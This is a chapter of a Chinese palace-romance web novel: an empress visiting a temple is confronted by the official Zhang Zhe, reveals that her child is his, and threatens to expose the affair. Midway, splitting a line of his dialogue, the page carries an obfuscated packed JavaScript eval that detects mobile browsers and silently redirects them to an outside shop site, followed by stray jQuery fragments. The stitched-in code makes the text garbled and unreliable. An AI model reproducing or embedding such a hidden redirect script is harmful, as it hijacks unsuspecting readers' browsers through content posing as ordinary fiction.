这是应姒今年第三回来云上寺。
浩浩荡荡的车马慢行于林道上,百姓屏退,只能站在远处,撇着雕梁垂幔的马车一角,便这一眼也叫人心生澎湃,簇拥的人群中有人激动道:“看,是皇后娘娘,哎呀,这排场,可真气派!”
“要是我也能在这样的车马中坐一回,便是死也甘愿!”
“哈哈哈哈哈,你别想了,还是老老实实的卖你的香囊罢,咱们哪有这样的福分。”
说这福分,林道的人又不由羡慕起应姒来,“这皇后娘娘命也是真好,二嫁出身,还得天子倾心,登基三年都未曾立一后宫,那些大人都好几个妻妾了,咱们陛下愣是守着她一个人,这方才断出喜脉,便是大赦天下,连咱们老百姓也跟着享了这份福。”
“是嘞是嘞。”
有婆子双手祈祷,道:“希望娘娘这一胎顺顺利利的,将来更是多子多福,多生几个,叫咱也跟着沾一些光,便是老婆子死了也值得了。”
“呸呸呸!孙婆子说什么死不死的,菩萨门下不言这晦气字,咱的好日子才刚刚开始嘞。”
张遮方被放出府,一身墨蓝长袍,士人打扮,混于人群中,目光随着这些话投到那玲琅环珮的马车上,记忆飘远,不觉有些恍惚。
——
应姒过来云上寺是祈福还愿的,会在此待上两日,还将自己日前誉抄的往生经烧与洛砚尘。
桓晋不放心,本欲与她同行,奈何政务繁忙,夏日多潮汛,贺衡又来奏疏言地方涝害严重,他最近正在为此事烦心不已,应姒借势善解人意道:“陛下多派些人随我去便罢,还是正事要紧,我会在寺里多为陛下和陛下那受涝受害的百姓,多求一道平安符的。”
他抽不开身,又闻及此,便是红着眼终是放人出了宫。
她下马车,了空主持携寺中一众僧人来迎,将她领进去。
应姒过山门殿,烧了三炷香,祈过愿,又继续往前,过天王殿……大雄宝殿,依次敬香祈福,待毕,再由方丈领着进寺中后院,入禅房暂时歇息,后又跟着抄书念经,做晚课,用完膳真正歇下时,已经是暮色深深。
张遮便是这时候寻到的人。
“娘娘。”
六月山寺栀子花开得正好,他静站在栀子花树下,背脊挺直,身形如松,墨蓝色的衫袍与也融为一体,只瞧着个大抵轮廓,是士人的打扮,这般扮相倒是给人又平添了几分温润意,并未如之前那般自带冷冽疏离感,叫人不敢亲近。
“是你啊。”
翠娥跟带出来的几个小婢正在院子里纳凉说笑,应姒也参与其中,说得正是欢喜时便听传来悠悠一声响,但见居然是被传关了祠堂,两日都没去上朝的张遮。
“你怎的来了?”
她与翠娥递了一个眼神,翠娥会过意,将其她人带了下去,院中只剩下两人,应姒也不问他是如何知晓她今日来上香祈福的,也不知道他是如何越过了重重的兵卫来到这后院找到她,于她来说都无妨。
人招手唤他过来坐下,端详着眼前人的脸,盏茶的功夫后评价道:“嗯,瘦了,还长了些胡须,不过还是好看的,有种美髯公的意味,就是这颓唐意是怎的回事儿?怎么,是相看的几家姑娘,都不合心意吗?”
应姒道:“张相公品貌俱佳,确实该是配天底下最好的佳人,那才是天造地设的一对,你看要不要我与陛下说说,放榜为你选亲,这总比你阿爹,只在京内几家门户找要来得强。”
张遮缄默,目光落在她唇上,月光皎皎,洒下一片银灰,正好可以看到那唇口翳动。
雪色的肌肤下,唇不点而朱,一张一合间和着幽兰的香气,唤得他不觉有几分迷醉了,如同那一日般的迷醉。
或许他不该问这样的话,一如不该顺着她的意做出那样事来,可在长久的缄默过后,他还是问出了声,道:“娘娘当真希望我娶亲?”
应姒挑眉一笑,道:“这是本宫能左右的吗,难不成本宫说一句不想,将军就真的不娶?将军不娶,张御史真肯罢休?这些个改变不了的事儿,大人是聪明人,当不该讲的。”
张遮垂眸,自嘲道:“什么聪明人,臣下不过是一庸俗人罢,会为情所惑,为情.色痴迷,不可理喻。”
应姒笑得眉眼弯弯,道:“这乃人伦之本,是正常不过的事,大人该坦然一些。”
天啊!
她怎可这般轻易说出这样的话,好似他们直接看,只有他一个人在沉沦。
是个好没良心的女郎!
有那么一瞬,他竟理解了坐在龙椅上的那个人,眼前的人儿,总是叫人又爱又恨。
她看似柔弱,却心性直坚,总有自己的想法。
看似无情,却是有情,只是这些情,却从未是因他而起半分。
可笑他明知道这一点,却依旧陷于其中,他暗酸了好几息,这才抬头,视线慢慢从她的脸上移到那平坦的小腹上,问:“听说娘娘有身子了?”
应姒手抚着肚子,点了点头,“嗯,槐素说,约莫有一个半月余,再过段时日,就该显出来了。”
“是吗?”
张遮泛红着眼眶,颤巍巍的将手伸过去,却在半空滞下没再动,应姒将他的一切都尽看在眼里,人抓过他的手,将它放置于小腹之上,告诉他:“孩子是你的,开心吗?”
他该开心吗?
这或许来说不是一个孩子,更像是一个罪证,它的存在,会是时刻悬在他张家,悬在他头顶上的一把刀,不知道什么时候就会降下来,可是……它也是她与人之间唯一的证明。
只要有它在,他们便是最亲的人,无论相隔多远……血脉关系,总是抹杀不掉的。
“应娘。”
他未唤她“娘娘”,亲昵的称着她的名儿,手在那肚子上一下又一下的轻抚过,道:“我想个法子,假死离宫罢,到时候换个新的身份……”
应姒笑盈盈的面上因为这句话渐冷了下来,“换个身份如何,进你们御史府做妾室,给你天天骂我的老爹端茶倒水?”
“不,是妻!”
张遮道:“吾愿聘汝为妻,此生唯卿一人耶。”
“离了宫,天高任鸟飞。”
他想到白沙湾,眼睛中多了几分期许,道:“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17934603|210235||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
应娘未曾去过白沙湾罢,那是个好地方,四季如春,生机盎然,百姓以渔为生,开渔时节,能捕到百来斤的大鱼,十几二十多斤的一只虾蟹……”
应姒未想他会作此说,心头微颤,有所动容,可惜……这话说得晚了。
她装着无情,冷笑嗤鼻,道:“大人是疯了罢,我放着好好的,一人之下万人之上的皇后不做,假死去跟你一个四品的水师将军过日子,为的就你这一句什么不能把握确定的唯我一人?”
“这么个条件,与我现在有何分别,起码陛下还做到了呢,我为何要为你放弃?”
张遮道:“你不开心,你做这个皇后不痛快,很是痛苦。”
她或许该骂你哪只眼睛看到我不痛快,我痛苦了,可她与桓晋的几次激烈矛盾,都为人亲眼所见,这话并无半分说服力。
那该说什么呢?
人眼珠子转了转,须臾说道:“这夫妻之间哪有不吵架的,不过是夫妻的小情.趣罢,大人未娶亲,自是不会明白的,往后这样的话,莫要再提了。”
“是夫妻情.趣?”
张遮咂摸着这个词,嘶哑的声音问:“那我呢?我算什么?”
“算情.人,算本宫借来的孩子父亲。”
张遮喉头滚动,那里仿佛塞了一团湿棉麻,原她所有的温情,都是假的吗?
“为何是我?”
应姒道:“你好上手呀,而且谁叫张御史总是跟我过不去,他瞧不上我,我还偏要将他最看重的儿子沾染,现在他与我,是同一条船上的人!”
说及此,她掩帕遮面,轻笑出了声,似警告的说道:“以后他要再惹得我不快,我就将咱们的事儿都说出来,你们的天子有多疯,自己应当比我清楚……”
张遮瞧着眼前的人,仿佛与年前那个总是愁眉紧锁的女郎已经离得很远很远了,他很陌生,不太认识。
应姒见他用一种哀伤可怜的神色盯着自己,抬手强行给他扯出一个笑容来,说:“你也别矫情,整得这一副苦大仇深的样子,好像我辜负了你害了你如何嘞,当初是你情我愿的,我没有逼你,现在……你和你那顽固的老爹要是老老实实的,最好多夸我一些,我保证什么都不说,绝对不会影响了你的亲事!”
你高高兴兴的娶亲,做你的新郎官儿,我继续做着我的皇后,你半点亏没吃,还白得一个孩儿,争气的话,说不准他还是将来的天子呢,到时候万一给你封个相父,你张家满门……一下子从臣都变成了君,也算光宗耀祖了。”
张遮听她理直气壮的说着这些薄情话,咬着牙道:“娘娘可真是为我打算啊,臣下合该谢过您的恩典了!”
“是了。”
应姒大大方方的应下,给自己斟了一杯茶,抿了一口,道:“你是该谢恩的,毕竟旁人想做这皇后的裙下臣,还做不了嘞,本宫给你这个机会,你接着了,确实该谢。”
张遮气得不行,他握紧腰间的佩剑,一把抽出,斩了一树花,便是气鼓鼓的离开。
白色的花纷纷落,模糊了远去的身影,在那一簇簇花影中,应姒记忆不由回到了月前……